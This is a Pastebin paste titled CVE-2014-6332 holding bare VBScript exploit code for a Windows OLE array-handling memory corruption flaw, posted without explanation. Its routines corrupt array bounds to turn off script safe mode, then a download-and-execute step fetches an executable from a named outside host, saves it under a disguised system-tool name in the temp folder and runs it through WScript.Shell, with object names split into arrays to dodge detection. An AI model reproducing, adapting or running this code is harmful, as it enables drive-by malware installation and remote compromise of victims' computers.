Advertisement
Guest User

CVE-2014-6332

a guest
Nov 21st, 2014
792
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. Function b2s(xBinary)
  3.  
  4.  
  5.  Dim Binary
  6.   If vartype(xBinary)=8 Then Binary = MultiByteToBinary(xBinary) Else Binary = xBinary
  7.  
  8.   Dim RS, LBinary
  9.   Const adLongVarChar = 201
  10.   Set RS = CreateObject("ADODB.Recordset")
  11.   LBinary = LenB(Binary)
  12.  
  13.   If LBinary>0 Then
  14.     RS.Fields.Append "mBinary", adLongVarChar, LBinary
  15.     RS.Open
  16.     RS.AddNew
  17.       RS("mBinary").AppendChunk Binary
  18.     RS.Update
  19.     b2s = RS("mBinary")
  20.   Else
  21.     b2s = ""
  22.   End If
  23. End Function
  24.  
  25. Function GenerateRndStr(intLength)
  26.      Randomize
  27.      Dim strS, intI,strCharacters
  28.      strCharacters = Array("sysdfg", "defrag", "diskchk", "disktool", "sysrestore")
  29.      strS = strCharacters(Int(Rnd() * UBound(strCharacters) + 1))
  30.      GenerateRndStr=strS
  31. End Function
  32.  
  33. sub DoMagic(  )
  34.   On Error Resume Next
  35.   Dim strLink, strSaveName, fsysobj
  36.   strLink = "http://" & "ach.hygradecannabis.com:488/install.php?apple=2107&bugs=4&audit=2528&blue=171&howto=1140&radio=1752&click=2582"
  37.   strSaveName = GenerateRndStr(7) & ".exe"
  38.  
  39.   fsysobjxx = Array("Scripting.FileSystemObject")
  40.  
  41.  Set objFSO = CreateObject(Join(fsysobjxx,""))
  42.  
  43.  tempfolder = objFSO.GetSpecialFolder(2) & "\\"
  44.  
  45.  strSaveTo = tempfolder & strSaveName
  46.  
  47.  
  48.   WinHttpStr = Array("WinHttp.WinHttpRequest.5.1")
  49.   Set objHTTP = CreateObject(Join(WinHttpStr, ""))
  50.  
  51.   objHTTP.open "GET", strLink, False
  52.   objHTTP.send
  53.  
  54.  
  55.  
  56.  If objFSO.FileExists(strSaveTo) Then
  57.    objFSO.DeleteFile(strSaveTo)
  58.   End If
  59.  
  60.  
  61.   If objHTTP.Status = 200 Then
  62.  
  63.     Set objFile = objFSO.CreateTextFile(strSaveTo,True)
  64.     objFile.Write b2s(objHTTP.responseBody)
  65.    
  66.  objFile.Close
  67.     End If
  68.    
  69.     If objFSO.FileExists(strSaveTo) Then
  70.         cmdline = strSaveTo
  71.         ShellArr = Array("WScript.Shell")
  72.         CreateObject(Join(ShellArr, "")).Run cmdline
  73.         CreateObject(Join(ShellArr, "")).Run "control.exe " & cmdline
  74.     End If
  75.        
  76. end sub
  77. dim   aa()
  78. dim   ab()
  79. dim   supervara0
  80. dim   a1
  81. dim   a2
  82. dim   a3
  83. dim   rnda
  84. dim   funclass
  85. dim   myarray
  86.  
  87.  
  88.  
  89. Begin()
  90.  
  91. function Begin()
  92.  
  93.  
  94.   makemagicxinit()
  95.  
  96.  
  97.   If Create()=True Then
  98.  
  99.      myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
  100.  
  101.      myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
  102.      
  103.      dosetnewmd()
  104.   end if
  105. end function
  106.  
  107.  
  108.  
  109.  
  110. function makemagicxinit()
  111.    Randomize()
  112.    redim aa(5)
  113.    redim ab(5)
  114.    supervara0=13+17*rnd(6)
  115.    a3=7+3*rnd(5)
  116. end function
  117.  
  118. function Create()
  119.   On Error Resume Next
  120.   dim i
  121.   Create=False
  122.   For i = 0 To 800
  123.     If domagic3(&h8000000)=True Then    
  124.        Create=True
  125.        Exit For
  126.     End If
  127.   Next
  128. end function
  129.  
  130. sub testaa()
  131. end sub
  132.  
  133. function makemagicx()
  134.     On Error Resume Next
  135.      i=testaa
  136.      i=null
  137.      redim  Preserve aa(a2)  
  138.    
  139.      ab(0)=0
  140.      aa(a1)=i
  141.      ab(0)=6.36598737437801E-314
  142.  
  143.      aa(a1+2)=myarray
  144.      ab(2)=1.74088534731324E-310  
  145.      makemagicx=aa(a1)
  146.      redim  Preserve aa(supervara0)  
  147. end function
  148.  
  149.  
  150. function dosetnewmd()
  151.     On Error Resume Next
  152.     i=makemagicx()  
  153.     i=domagic2(i+8)
  154.     i=domagic2(i+16)
  155.     j=domagic2(i+&h134)  
  156.     for k=0 to &h60 step 4
  157.         j=domagic2(i+&h120+k)
  158.         if(j=14) then
  159.               j=0          
  160.               redim  Preserve aa(a2)            
  161.               aa(a1+2)(i+&h11c+k)=ab(4)
  162.               redim  Preserve aa(supervara0)  
  163.  
  164.               j=0
  165.               j=domagic2(i+&h120+k)  
  166.          
  167.                Exit for
  168.            end if
  169.  
  170.     next
  171.     ab(2)=1.69759663316747E-313
  172.    
  173.    
  174.     DoMagic
  175.    
  176. end function
  177.  
  178. function domagic3(addvl)
  179.     On Error Resume Next
  180.     dim type1,type2,type3
  181.     domagic3=False
  182.     supervara0=supervara0+a3
  183.     a1=supervara0+2
  184.     a2=supervara0+addvl
  185.    
  186.     redim  Preserve aa(supervara0)
  187.     redim   ab(supervara0)    
  188.  
  189.     if (IsObject(CreateObject)) then
  190.     redim  Preserve aa(a2)
  191.     end if
  192.     type1=1
  193.     ab(0)=1.123456789012345678901234567890
  194.     aa(supervara0)=10
  195.            
  196.      
  197.     If(IsObject(aa(a1-1)) = False) Then
  198.            
  199.            if(vartype(aa(a1-1))<>0)  Then    
  200.               If(IsObject(aa(a1)) = False ) Then
  201.                   type1=VarType(aa(a1))
  202.               end if              
  203.             end if
  204.        
  205.     end if
  206.                    
  207.            
  208.      
  209.     If(type1=&h2f66) Then        
  210.           domagic3=True      
  211.     End If  
  212.    
  213.        
  214.     redim  Preserve aa(supervara0)          
  215.          
  216. end function
  217.  
  218. function domagic2(add)
  219.     On Error Resume Next
  220.     redim  Preserve aa(a2)  
  221.    
  222.     ab(0)=0  
  223.     aa(a1)=add+4    
  224.     ab(0)=1.69759663316747E-313      
  225.     domagic2=lenb(aa(a1))  
  226.    
  227.     ab(0)=0    
  228.  
  229.     redim  Preserve aa(supervara0)
  230. end function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement